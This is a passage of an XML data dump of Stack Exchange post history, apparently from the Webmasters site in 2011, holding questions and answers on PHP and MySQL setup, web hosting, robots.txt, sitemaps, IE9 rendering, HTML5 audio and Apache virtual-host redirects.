noted [here][1]. If you someone can provide guidance on how to setup PHP and MySQL via SSH, it would be great.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.apache.org/httpd/DistrosDefaultLayout" />
  <row Id="42359" PostHistoryTypeId="5" PostId="17586" RevisionGUID="4cacfd88-e4e8-4e49-a3da-c7cad7b29aa7" CreationDate="2011-07-30T17:39:12.690" UserId="2483" Comment="added 100 characters in body" Text="You should be able to find the `DocumentRoot` by looking in the `/etc/httpd/conf/httpd.conf` file. It would normally be `/var/www/html`.&#xD;&#xA;&#xD;&#xA;You could check for php by running the command&#xD;&#xA;&#xD;&#xA;    rpm -qa | grep php&#xD;&#xA;&#xD;&#xA;    php-common-5.1.6-27.el5_5.3&#xD;&#xA;    php-5.1.6-27.el5_5.3&#xD;&#xA;    php-gd-5.1.6-27.el5_5.3&#xD;&#xA;    php-cli-5.1.6-27.el5_5.3&#xD;&#xA;&#xD;&#xA;which will tell you what php packages are on your system&#xD;&#xA;&#xD;&#xA;Similarly &#xD;&#xA;&#xD;&#xA;    rpm -qa | grep mysql &#xD;&#xA;&#xD;&#xA;    mysql-5.0.77-4.el5_6.6&#xD;&#xA;    mysql-server-5.0.77-4.el5_6.6&#xD;&#xA;    mysql-devel-5.0.77-4.el5_6.6&#xD;&#xA;&#xD;&#xA;Tells you what mysql packages are installed.&#xD;&#xA;&#xD;&#xA;    /sbin/service mysqld status&#xD;&#xA;&#xD;&#xA;will tell you if the mysql daemon is running or not.&#xD;&#xA;&#xD;&#xA;    sudo /sbin/service mysqld start&#xD;&#xA;&#xD;&#xA;will start it. &#xD;&#xA;&#xD;&#xA;If you want to start mysqld with your system then use&#xD;&#xA;&#xD;&#xA;    /sbin/chkconfig --level 3 mysqld on" />
  <row Id="42360" PostHistoryTypeId="2" PostId="17587" RevisionGUID="42df9597-6498-4fa7-8374-6e0094cd56e2" CreationDate="2011-07-30T17:46:24.963" UserId="9248" Text="I'm looking for a form provider that will let me assign numerical values to each answer and then display the result at the end having summed the values - as far as I can tell neither Wufoo nor JotForm can do this?&#xD;&#xA;&#xD;&#xA;Any suggestions would be much appreciated.&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="42361" PostHistoryTypeId="1" PostId="17587" RevisionGUID="42df9597-6498-4fa7-8374-6e0094cd56e2" CreationDate="2011-07-30T17:46:24.963" UserId="9248" Text="Survey Form - Display Different Results Based on Answer Combination" />
  <row Id="42362" PostHistoryTypeId="3" PostId="17587" RevisionGUID="42df9597-6498-4fa7-8374-6e0094cd56e2" CreationDate="2011-07-30T17:46:24.963" UserId="9248" Text="&lt;websites&gt;&lt;surveys&gt;" />
  <row Id="42363" PostHistoryTypeId="2" PostId="17588" RevisionGUID="9e981fe1-ba0a-4ef7-b5fa-65e49c421549" CreationDate="2011-07-30T17:55:41.603" UserId="9211" Text="I'm building a website in a lot of languages that should be available all over the world. That means I would like to have low response time especially in Europe, Asia and South America.&#xD;&#xA;My website runs PHP scripts, needs database etc. Classical Linux/Apache website.&#xD;&#xA;&#xD;&#xA;Now I want to ask: What's the best hosting solution and can you recommend me any companies that offer services I need? Thanks a lot!" />
  <row Id="42364" PostHistoryTypeId="1" PostId="17588" RevisionGUID="9e981fe1-ba0a-4ef7-b5fa-65e49c421549" CreationDate="2011-07-30T17:55:41.603" UserId="9211" Text="Deliver my website all over the world hosting" />
  <row Id="42365" PostHistoryTypeId="3" PostId="17588" RevisionGUID="9e981fe1-ba0a-4ef7-b5fa-65e49c421549" CreationDate="2011-07-30T17:55:41.603" UserId="9211" Text="&lt;hosting&gt;&lt;apache&gt;" />
  <row Id="42366" PostHistoryTypeId="2" PostId="17589" RevisionGUID="e18447bc-fa54-4856-b707-85b252468826" CreationDate="2011-07-30T18:03:15.850" UserId="9286" Text="I am a Ruby on Rails developer and I am planning to purchase an hosting space in order to publish my web application (I'm developing a small Social Network). This is my first time that I try to deploy a Ruby on Rails application, so I am not expert on the matter.&#xD;&#xA;&#xD;&#xA;I would like to find a &quot;compromise&quot; between performance and price. I think that for now a shared server it is enough (maybe) for my needs (suggestions are appreciated...).&#xD;&#xA;&#xD;&#xA;In localhost I am using&#xD;&#xA;&#xD;&#xA; - Ruby on Rails 3.0.9&#xD;&#xA; - ruby-1.9.2-p136&#xD;&#xA; - Apache&#xD;&#xA; - Phusion Passenger&#xD;&#xA; - MySql&#xD;&#xA;&#xD;&#xA;so the hosting server should satisfy the above requisites.&#xD;&#xA;&#xD;&#xA;More: in my application I am using the Paperclip gem so another requisite should be Image-Magick.&#xD;&#xA;&#xD;&#xA;What hosting service do you advice for my needs? What should I have to care when I purchase a hosting space for RoR? And, most importantly, which hosting service do you advice?&#xD;&#xA;&#xD;&#xA;P.S.: if you need some other information just ask and I will update the question." />
  <row Id="42367" PostHistoryTypeId="1" PostId="17589" RevisionGUID="e18447bc-fa54-4856-b707-85b252468826" CreationDate="2011-07-30T18:03:15.850" UserId="9286" Text="Hosting for a Ruby on Rails application" />
  <row Id="42368" PostHistoryTypeId="3" PostId="17589" RevisionGUID="e18447bc-fa54-4856-b707-85b252468826" CreationDate="2011-07-30T18:03:15.850" UserId="9286" Text="&lt;hosting&gt;&lt;web-hosting&gt;&lt;ruby-on-rails&gt;&lt;site-deployment&gt;&lt;website-deployment&gt;" />
  <row Id="42369" PostHistoryTypeId="2" PostId="17590" RevisionGUID="92c3e187-43b0-41f1-a436-3b70737f4bb3" CreationDate="2011-07-30T18:05:37.033" UserId="9256" Text="I'm not sure about specific hosts, although if I remember correctly Hostgator offers servers on different continents and mirrors on at least two, but off the top of my head those details may be off. &#xD;&#xA;&#xD;&#xA;Another option though that you might consider is a CDN(content distribution network), which mirrors your static files in different locations globally, allowing for shorter response times. I've been testing Cloudflare(https://www.cloudflare.com/) which offers free and paid plans, the free plan is pretty extensive and the difference it made on the site I was testing it with was pretty significant.&#xD;&#xA;&#xD;&#xA;Added bonus aside from speed is that it helps add a layer of protection to your server since the nameservers will be Cloudflares and much of the traffic requests won't actually go to your server, that also aids in cutting down on bandwidth.&#xD;&#xA;&#xD;&#xA;Aside from Cloudflare there are countless free and paid CDNs that would help with your situation, even with a host that mirrors globally. " />
  <row Id="42370" PostHistoryTypeId="25" PostId="17583" RevisionGUID="fe325b58-23f9-408c-831a-ebcd6db352da" CreationDate="2011-07-30T18:33:55.377" Comment="http://twitter.com/#!/StackWebmasters/status/97374377821216768" />
  <row Id="42371" PostHistoryTypeId="2" PostId="17591" RevisionGUID="267ddf3f-4b9c-4ac8-8a74-3801f8cee986" CreationDate="2011-07-30T18:47:19.280" UserId="562" Text="Is there any website or service that allows you to submit a URL and displays the corresponding page with Javascript stripped out/disabled?" />
  <row Id="42372" PostHistoryTypeId="1" PostId="17591" RevisionGUID="267ddf3f-4b9c-4ac8-8a74-3801f8cee986" CreationDate="2011-07-30T18:47:19.280" UserId="562" Text="Website or service to view a page without Javascript" />
  <row Id="42373" PostHistoryTypeId="3" PostId="17591" RevisionGUID="267ddf3f-4b9c-4ac8-8a74-3801f8cee986" CreationDate="2011-07-30T18:47:19.280" UserId="562" Text="&lt;javascript&gt;&lt;proxy&gt;" />
  <row Id="42374" PostHistoryTypeId="2" PostId="17592" RevisionGUID="da68ce6d-239c-4a08-bcce-9aa28f848dd9" CreationDate="2011-07-30T19:00:52.540" UserId="4494" Text="[browsershots.org](http://browsershots.org) has several options (including disabling JavaScript and Flash) and has a tons of different browsers/versions to choose from." />
  <row Id="42375" PostHistoryTypeId="2" PostId="17593" RevisionGUID="7c819f3b-5e41-41f0-8498-9134ad532926" CreationDate="2011-07-30T19:31:06.987" UserId="9288" Text="I would strongly suggest trying [Heroku][1] out. Once you have it going you'll get a better understanding of what you need and will move to dedicated hosting if needed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.heroku.com/" />
  <row Id="42376" PostHistoryTypeId="6" PostId="17589" RevisionGUID="28a887e8-1e05-44ca-a1ce-7239dfdcb2aa" CreationDate="2011-07-30T19:36:18.027" UserId="1253" Comment="modified tags" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;&lt;ruby-on-rails&gt;" />
  <row Id="42377" PostHistoryTypeId="5" PostId="17589" RevisionGUID="5ea600d6-3c19-4d06-8bf6-60e164928fe7" CreationDate="2011-07-30T19:36:50.960" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Web hosting options for Ruby on Rails applications](http://webmasters.stackexchange.com/questions/8129/web-hosting-options-for-ruby-on-rails-applications)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I am a Ruby on Rails developer and I am planning to purchase an hosting space in order to publish my web application (I'm developing a small Social Network). This is my first time that I try to deploy a Ruby on Rails application, so I am not expert on the matter.&#xD;&#xA;&#xD;&#xA;I would like to find a &quot;compromise&quot; between performance and price. I think that for now a shared server it is enough (maybe) for my needs (suggestions are appreciated...).&#xD;&#xA;&#xD;&#xA;In localhost I am using&#xD;&#xA;&#xD;&#xA; - Ruby on Rails 3.0.9&#xD;&#xA; - ruby-1.9.2-p136&#xD;&#xA; - Apache&#xD;&#xA; - Phusion Passenger&#xD;&#xA; - MySql&#xD;&#xA;&#xD;&#xA;so the hosting server should satisfy the above requisites.&#xD;&#xA;&#xD;&#xA;More: in my application I am using the Paperclip gem so another requisite should be Image-Magick.&#xD;&#xA;&#xD;&#xA;What hosting service do you advice for my needs? What should I have to care when I purchase a hosting space for RoR? And, most importantly, which hosting service do you advice?&#xD;&#xA;&#xD;&#xA;P.S.: if you need some other information just ask and I will update the question." />
  <row Id="42378" PostHistoryTypeId="10" PostId="17589" RevisionGUID="637be59b-9719-4067-8bca-c4b5f790b49a" CreationDate="2011-07-30T19:36:50.117" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42379" PostHistoryTypeId="5" PostId="17588" RevisionGUID="1b45dfe8-89b4-435f-b060-88dfa56414d4" CreationDate="2011-07-30T19:38:17.090" UserId="1253" Comment="modified tags" Text="I'm building a website in a lot of languages that should be available all over the world. That means I would like to have low response time especially in Europe, Asia and South America. My website runs PHP scripts, needs database etc. Classical Linux/Apache website.&#xD;&#xA;&#xD;&#xA;Now I want to ask: What's the best hosting solution and can you recommend me any companies that offer services I need? Thanks a lot!" />
  <row Id="42380" PostHistoryTypeId="6" PostId="17588" RevisionGUID="1b45dfe8-89b4-435f-b060-88dfa56414d4" CreationDate="2011-07-30T19:38:17.090" UserId="1253" Comment="modified tags" Text="&lt;looking-for-hosting&gt;&lt;lamp&gt;" />
  <row Id="42381" PostHistoryTypeId="5" PostId="17583" RevisionGUID="a6fd504b-49d7-4606-afd9-63ecb7854370" CreationDate="2011-07-30T19:39:55.797" UserId="1253" Comment="minor text edits" Text="After setting up a blog at blogspot.com I added the site to my webmasters tools of google. &#xD;&#xA;&#xD;&#xA;I noticed an error: &quot;Restricted by robots.txt&quot; and looked a little into the matter. I found in the robots.txt of blogspot that Google prevents the /search directory by default in order to avoid duplicate entries in their search engine. As tags can be found under /search/label/SOME_TAG, these are not indexed too.&#xD;&#xA;&#xD;&#xA;I run different sites, especially one is an important e-commerce site for me. For each product, we use tags. Each tags leads to a separate site like /tags/tag1/ and lists all products that are linked to this tag. &#xD;&#xA;&#xD;&#xA;And this leads me to my question:&#xD;&#xA;&#xD;&#xA;**Should I also block search and/or tag pages on my sites by using robots.txt?**&#xD;&#xA;&#xD;&#xA;I feel google might punish my pagerank/results for using this &quot;low-quality&quot; content. However I think they are quite useful. We provide a short description of each tag and how the listed products can be used for the problem the tag describes.&#xD;&#xA;&#xD;&#xA;Moreover users landing on tags-pages have very high bounce rates (&gt;90%), which is far above the average bounce rate.&#xD;&#xA;&#xD;&#xA;So, what is the best practice?&#xD;&#xA;" />
  <row Id="42382" PostHistoryTypeId="4" PostId="17583" RevisionGUID="a6fd504b-49d7-4606-afd9-63ecb7854370" CreationDate="2011-07-30T19:39:55.797" UserId="1253" Comment="minor text edits" Text="Search and Tags for robots.txt" />
  <row Id="42383" PostHistoryTypeId="2" PostId="17594" RevisionGUID="8a625074-7bfe-4a9a-958d-81dc72883e6c" CreationDate="2011-07-30T19:41:42.597" UserId="233" Text="This isn't difficult to do in-browser. From recollection in Opera you can press F12 and there is an option right there to disable Javascript. Other browsers may have add-ons which allow you to switch on and off quickly." />
  <row Id="42384" PostHistoryTypeId="2" PostId="17595" RevisionGUID="eaee7fde-0e42-49f4-974f-9eeb87b0f9ca" CreationDate="2011-07-30T19:43:10.740" UserId="1253" Text="I find a lot of pages in Google's search results from the various StackExchange sites that are the tag pages, most popular questions, etc. So it doesn't look like Google considers them to be low quality. I would leave them unblocked unless you see some sort of problem such as a Panda update having a very negative effect on your rankings. Otherwise these pages are a source of traffic, and although the bounce rate is high, you are receiving visitors who are going further into your site thanks to these pages being in the search results." />
  <row Id="42385" PostHistoryTypeId="2" PostId="17596" RevisionGUID="2ed3b184-6024-48c5-a900-c87ca0955aca" CreationDate="2011-07-30T19:51:20.553" UserId="9289" Text="I would like to build a narrow niche Q&amp;A site not unlike this and am wondering if there is an open source script available somewhere?" />
  <row Id="42386" PostHistoryTypeId="1" PostId="17596" RevisionGUID="2ed3b184-6024-48c5-a900-c87ca0955aca" CreationDate="2011-07-30T19:51:20.553" UserId="9289" Text="Is there a script available for building a Q&amp;A site?" />
  <row Id="42387" PostHistoryTypeId="3" PostId="17596" RevisionGUID="2ed3b184-6024-48c5-a900-c87ca0955aca" CreationDate="2011-07-30T19:51:20.553" UserId="9289" Text="&lt;open-source&gt;" />
  <row Id="42388" PostHistoryTypeId="6" PostId="17596" RevisionGUID="053b9151-8962-4905-958f-b0f74d849502" CreationDate="2011-07-30T21:07:33.270" UserId="1253" Comment="modified tags" Text="&lt;looking-for-a-script&gt;&lt;open-source&gt;" />
  <row Id="42389" PostHistoryTypeId="5" PostId="17596" RevisionGUID="f93eff5e-b0a7-4398-b653-471bedf1b5a7" CreationDate="2011-07-30T21:08:20.540" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Q&amp;amp;A system for website in php](http://webmasters.stackexchange.com/questions/14604/qa-system-for-website-in-php)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I would like to build a narrow niche Q&amp;A site not unlike this and am wondering if there is an open source script available somewhere?" />
  <row Id="42390" PostHistoryTypeId="10" PostId="17596" RevisionGUID="7183cddb-99d7-4422-91bc-c8ecc558f1d7" CreationDate="2011-07-30T21:08:19.433" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42391" PostHistoryTypeId="25" PostId="17542" RevisionGUID="6000add6-4475-4cd5-84b5-6cf565b3cf8e" CreationDate="2011-07-30T21:33:55.663" Comment="http://twitter.com/#!/StackWebmasters/status/97419676568666112" />
  <row Id="42392" PostHistoryTypeId="2" PostId="17597" RevisionGUID="1f2603d6-4ded-48c8-8785-9a88a3a4a13c" CreationDate="2011-07-31T00:08:10.473" UserId="9215" Text="I'm doing a small business web site with about 20 pages, which will go on shared hosting. Each page will be about 20 KB (including HTML, CSS, and images common to all pages). Wanting to avoid manually adding navigation elements to each page, I am considering using a CMS but am concerned that on a busy server, using one would make the site load more slowly.&#xD;&#xA;&#xD;&#xA;In a shared hosting environment where PHP is run as a CGI binary, how much does a CMS (WordPress, Drupal, etc.) generally affect page load time? I would like a comparison to both &quot;plain HTML&quot; static sites and those using PHP as merely a templating language." />
  <row Id="42393" PostHistoryTypeId="1" PostId="17597" RevisionGUID="1f2603d6-4ded-48c8-8785-9a88a3a4a13c" CreationDate="2011-07-31T00:08:10.473" UserId="9215" Text="What is the impact of a CMS on page load time versus a static site?" />
  <row Id="42394" PostHistoryTypeId="3" PostId="17597" RevisionGUID="1f2603d6-4ded-48c8-8785-9a88a3a4a13c" CreationDate="2011-07-31T00:08:10.473" UserId="9215" Text="&lt;php&gt;&lt;cms&gt;&lt;shared-hosting&gt;&lt;page-speed&gt;&lt;static-content&gt;" />
  <row Id="42395" PostHistoryTypeId="25" PostId="17538" RevisionGUID="97ed82fe-311a-4b91-8b6c-41973bae0642" CreationDate="2011-07-31T00:33:56.530" Comment="http://twitter.com/#!/StackWebmasters/status/97464979644628992" />
  <row Id="42396" PostHistoryTypeId="17" PostId="17598" RevisionGUID="800d8525-13cc-410b-90c5-99971c0fb590" CreationDate="2011-07-31T01:17:01.417" UserId="-1" Comment="from http://stackoverflow.com/questions/6879453/cant-generate-a-sitemap" Text="" />
  <row Id="42397" PostHistoryTypeId="17" PostId="17599" RevisionGUID="313a59a0-0312-4e26-b30b-08a3c4421a44" CreationDate="2011-07-31T01:17:01.417" UserId="-1" Comment="from http://stackoverflow.com/questions/6879453/cant-generate-a-sitemap" Text="" />
  <row Id="42398" PostHistoryTypeId="2" PostId="17599" RevisionGUID="8c56f87a-7a94-431f-93ed-cc7aeed9ede5" CreationDate="2011-07-29T22:03:22.487" UserId="9225" Text="I would start by trying making your site any &quot;w3c norm-compliant&quot;.&#xD;&#xA;&#xD;&#xA;Use some validation engine (like http://validator.w3.org/check) to ensure your site is easily parsable without errors...&#xD;&#xA;&#xD;&#xA;After trying to parse your home page, I see some critical errors like:&#xD;&#xA;&#xD;&#xA; - Unable to Determine Parse Mode!,&#xD;&#xA; - No DOCTYPE found, and unknown root element. Aborting validation.&#xD;&#xA;&#xD;&#xA;...and a lot of other (16 errors mentioned my w3.org validator)&#xD;&#xA;&#xD;&#xA;Maybe that is why no standard external parsers can do the job for you..." />
  <row Id="42399" PostHistoryTypeId="2" PostId="17598" RevisionGUID="50d33735-4913-4f1b-bb26-f5293caa5a38" CreationDate="2011-07-29T21:58:07.700" UserDisplayName="Owen Melbourne" Text="Having a real problem here, I've tried lots of services to sort this including http://www.xml-sitemaps.com/ as well as software and a php script.&#xD;&#xA;&#xD;&#xA;Basically my domain is http://gamingdeluxe.co.uk&#xD;&#xA;&#xD;&#xA;when ever I run it through a sitemap generator it ONLY finds that 1 page? it doesnt follow any of the links?&#xD;&#xA;&#xD;&#xA;However robots.txt is setup as&#xD;&#xA;    User-agent: *&#xD;&#xA;    Allow: /&#xD;&#xA;so that shouldnt be a problem?&#xD;&#xA;&#xD;&#xA;I found a java crawler called DRKSpiderJava and it crawled my site sucessfuly- shame no export to .xml feature. so they seem to be crawlable. &#xD;&#xA;&#xD;&#xA;any ideas why I cant generate one?&#xD;&#xA;" />
  <row Id="42400" PostHistoryTypeId="1" PostId="17598" RevisionGUID="50d33735-4913-4f1b-bb26-f5293caa5a38" CreationDate="2011-07-29T21:58:07.700" UserDisplayName="Owen Melbourne" Text="Cant generate a sitemap!" />
  <row Id="42401" PostHistoryTypeId="3" PostId="17598" RevisionGUID="50d33735-4913-4f1b-bb26-f5293caa5a38" CreationDate="2011-07-29T21:58:07.700" UserDisplayName="Owen Melbourne" Text="&lt;xml&gt;&lt;sitemap&gt;" />
  <row Id="42402" PostHistoryTypeId="17" PostId="17600" RevisionGUID="ca7bc80c-73b1-4184-a248-0de332b3691c" CreationDate="2011-07-31T01:17:10.590" UserId="-1" Comment="from http://stackoverflow.com/questions/6880952/why-cant-internet-explorer-render-this-page-correctly" Text="" />
  <row Id="42403" PostHistoryTypeId="17" PostId="17601" RevisionGUID="8579323d-c725-4751-ad44-ffc378c82448" CreationDate="2011-07-31T01:17:10.590" UserId="-1" Comment="from http://stackoverflow.com/questions/6880952/why-cant-internet-explorer-render-this-page-correctly" Text="" />
  <row Id="42404" PostHistoryTypeId="2" PostId="17601" RevisionGUID="56f7d41a-b5ee-47c0-8f05-697c92a37f52" CreationDate="2011-07-30T04:05:14.883" UserDisplayName="Jawad" Text="You need a Doctype. Just put&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html&gt;&#xD;&#xA;&#xD;&#xA;At the top in your HTML code." />
  <row Id="42405" PostHistoryTypeId="2" PostId="17602" RevisionGUID="3b038e3b-d2cc-4380-b171-a80852a91961" CreationDate="2011-07-30T04:18:01.743" UserId="9292" UserDisplayName="Purmou" Text="Looking at your source code, you have a couple of serious issues:&#xD;&#xA;&#xD;&#xA;    &lt;script language=javascript type='text/javascript'&gt; &#xD;&#xA;    ...&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;!DOCTYPE html&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;&#xD;&#xA;You have a script tag at the very top of your page. They should go inside the `head` tags. Which leads me to the next issue:&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    ...&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&lt;head&gt;&#xD;&#xA;    ...&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;&#xD;&#xA;You have two `&lt;head&gt;` tags, and two opening `&lt;body&gt;` tags. This should be replaced with:&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    ...&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    ...&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;" />
  <row Id="42406" PostHistoryTypeId="2" PostId="17600" RevisionGUID="65b32290-202b-467a-a702-ce1698173f9d" CreationDate="2011-07-30T03:42:41.513" UserId="5852" Text="I've been pulling my hair out but can't figure out why my page looks like a huge mess in IE9, but Firefox, Chrome, Opera, Safari works great.&#xD;&#xA;&#xD;&#xA;My website is here:&#xD;&#xA;http://173.244.195.179/test-o.html&#xD;&#xA;&#xD;&#xA;Could anyone tell me what I'm doing that isn't compatible with IE9?" />
  <row Id="42407" PostHistoryTypeId="1" PostId="17600" RevisionGUID="65b32290-202b-467a-a702-ce1698173f9d" CreationDate="2011-07-30T03:42:41.513" UserId="5852" Text="Why can't Internet Explorer render this page correctly?" />
  <row Id="42408" PostHistoryTypeId="3" PostId="17600" RevisionGUID="65b32290-202b-467a-a702-ce1698173f9d" CreationDate="2011-07-30T03:42:41.513" UserId="5852" Text="&lt;html&gt;&lt;css&gt;&lt;internet-explorer&gt;" />
  <row Id="42409" PostHistoryTypeId="17" PostId="17602" RevisionGUID="eea73a0d-6088-449c-9474-ba5fe4f76879" CreationDate="2011-07-31T01:17:10.590" UserId="-1" Comment="from http://stackoverflow.com/questions/6880952/why-cant-internet-explorer-render-this-page-correctly" Text="" />
  <row Id="42410" PostHistoryTypeId="25" PostId="17598" RevisionGUID="fa707da9-f92f-4146-aee7-c0415c909d6c" CreationDate="2011-07-31T03:33:56.640" Comment="http://twitter.com/#!/StackWebmasters/status/97510277163126784" />
  <row Id="42411" PostHistoryTypeId="25" PostId="17553" RevisionGUID="210e7d19-73db-416d-996f-a4dc3b063785" CreationDate="2011-07-31T06:33:56.270" Comment="http://twitter.com/#!/StackWebmasters/status/97555576019619841" />
  <row Id="42412" PostHistoryTypeId="2" PostId="17603" RevisionGUID="a66b0c99-5f06-4c47-9d46-45e8927bd04b" CreationDate="2011-07-31T07:25:21.883" UserId="9295" Text="I was looking into something similar lately and found [Fee Fighters][1]. It appears to be a reverse auction type site for collecting bids from different payment processors. I haven't tried the site yet but will sign up in a month or so when the site is ready.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://feefighters.ca/" />
  <row Id="42413" PostHistoryTypeId="2" PostId="17604" RevisionGUID="74fbf7f0-ec47-45c7-ad27-5793d870efe6" CreationDate="2011-07-31T07:46:01.833" UserId="9010" Text="   Pasting HTML in this textbox doesn't work, kind of ironic given the topic of the site, feel free to tell how to do it if there is a way - so I replaced all of the less than and more than symbols with &quot;|&quot;.Enjoy:&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;     |audio id=&quot;audioMusic&quot; loop=&quot;loop&quot;|&#xD;&#xA;       |source src=&quot;/Music/behind_you.ogg&quot; type=&quot;audio/ogg&quot; /|&#xD;&#xA;       |source src=&quot;/Music/behind_you.mp3&quot; type=&quot;audio/mp3&quot; /| &#xD;&#xA;      &#xD;&#xA;       |/audio|&#xD;&#xA;    &#xD;&#xA;      |script type=&quot;text/javascript&quot;|&#xD;&#xA;        var a = document.getElementById(&quot;audioMusic&quot;);&#xD;&#xA;        a.play();&#xD;&#xA;    &#xD;&#xA;      |/script|&#xD;&#xA;&#xD;&#xA;Problem / Question:&#xD;&#xA;This, along with countless other ways of controlling audio via javascript, works fine in chrome, it does not work in Firefox or IE. Why? How can it be changed?  &#xD;&#xA;&#xD;&#xA;By the way: Yes, I know I can use the autoplay attribute, that's not what I am looking for because I need to be able to turn it on and off and adjust volume via javascript. Yes, I know that background music is annoying. &#xD;&#xA;" />
  <row Id="42414" PostHistoryTypeId="1" PostId="17604" RevisionGUID="74fbf7f0-ec47-45c7-ad27-5793d870efe6" CreationDate="2011-07-31T07:46:01.833" UserId="9010" Text="Javascript control of &lt;audio&gt; not working in Firefox, works in Chrome" />
  <row Id="42415" PostHistoryTypeId="3" PostId="17604" RevisionGUID="74fbf7f0-ec47-45c7-ad27-5793d870efe6" CreationDate="2011-07-31T07:46:01.833" UserId="9010" Text="&lt;html5&gt;&lt;firefox&gt;&lt;audio&gt;" />
  <row Id="42416" PostHistoryTypeId="2" PostId="17605" RevisionGUID="76a12460-4ba4-4f03-937a-67a330806a30" CreationDate="2011-07-31T08:58:10.670" UserId="2029" Text="**What is wrong here?**&#xD;&#xA;&#xD;&#xA;    NameVirtualHost *:80&#xD;&#xA;    &#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;    ServerName www.apples.co.uk&#xD;&#xA;    DocumentRoot /var/www/apples.co.uk&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www\.apples\.co\.uk$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.apples.co.uk/$1 [L,R=301]&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;    ServerName www.bananas.co.uk&#xD;&#xA;    DocumentRoot /var/www/bananas.co.uk&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www\.bananas\.co\.uk$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.bananas.co.uk/$1 [L,R=301]&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Problems:**&#xD;&#xA;&#xD;&#xA; - `apples.co.uk` does correctly redirect to `www.apples.co.uk`, but&#xD;&#xA;   `bananas.co.uk` redirects to `www.apples.co.uk`.&#xD;&#xA;   &#xD;&#xA; - When either `apples.co.uk`or `bananas.co.uk` redirects, the address&#xD;&#xA;   bar results with `http://www.apples.co.uk//`.  What is causing that&#xD;&#xA;   extra slash at the end?&#xD;&#xA;&#xD;&#xA;Here the output of `apachectl -S` :&#xD;&#xA;&#xD;&#xA;    [Sun Jul 31 08:41:52 2011] [warn] NameVirtualHost *:80 has no VirtualHosts&#xD;&#xA;    VirtualHost configuration:&#xD;&#xA;    wildcard NameVirtualHosts and _default_ servers:&#xD;&#xA;    *:80                   is a NameVirtualHost&#xD;&#xA;             default server www.apples.co.uk (/etc/apache2/httpd.conf:3)&#xD;&#xA;             port 80 namevhost www.apples.co.uk (/etc/apache2/httpd.conf:3)&#xD;&#xA;             port 80 namevhost www.bananas.co.uk (/etc/apache2/httpd.conf:11)&#xD;&#xA;             port 80 namevhost servername.apples.co.uk (/etc/apache2/sites-enabled/000-default:1)&#xD;&#xA;    Syntax OK&#xD;&#xA;&#xD;&#xA;I guess the first problem is caused by the `default server` setting.  How do I remove that?  Does there need to be a default?&#xD;&#xA;&#xD;&#xA;I know I also need to add to `sites-enabled` to get rid of the warning, but I'll leave that for another question." />
  <row Id="42417" PostHistoryTypeId="1" PostId="17605" RevisionGUID="76a12460-4ba4-4f03-937a-67a330806a30" CreationDate="2011-07-31T08:58:10.670" UserId="2029" Text="What is wrong with this Apache httpd.conf file for vhosts?" />
  <row Id="42418" PostHistoryTypeId="3" PostId="17605" RevisionGUID="76a12460-4ba4-4f03-937a-67a330806a30" CreationDate="2011-07-31T08:58:10.670" UserId="2029" Text="&lt;apache&gt;&lt;redirects&gt;&lt;virtualhost&gt;&lt;httpd.conf&gt;" />
  <row Id="42419" PostHistoryTypeId="2" PostId="17606" RevisionGUID="b88fb31b-64a8-413e-9275-6656d46fc6c1" CreationDate="2011-07-31T09:16:45.837" UserId="8354" Text="**FIRST:**&#xD;&#xA;&#xD;&#xA;1. First defined VirtualHost will be used as catch all for unknown domain names.&#xD;&#xA;&#xD;&#xA;2. Apache does not know about `apples.co.uk` -- it only knows about `www.apples.co.uk`. So it uses first Virtual Host to serve `apples.co.uk`. Redirect will work OK here.&#xD;&#xA;&#xD;&#xA;3. Apache does not know about `bananas.co.uk` -- it only knows about `www.bananas.co.uk`. So it uses first Virtual Host to serve `bananas.co.uk` .. which is `www.apples.co.uk`. Therefore it will be redirected to `www.apples.co.uk`.&#xD;&#xA;&#xD;&#xA;**To solve the above issue:** Add `ServerAlias apples.co.uk` line inside first virtual host and `ServerAlias bananas.co.uk` into second one. If you want to catch ANY subdomain as well -- add this line as well: `ServerAlias *.apples.co.uk` (the same for 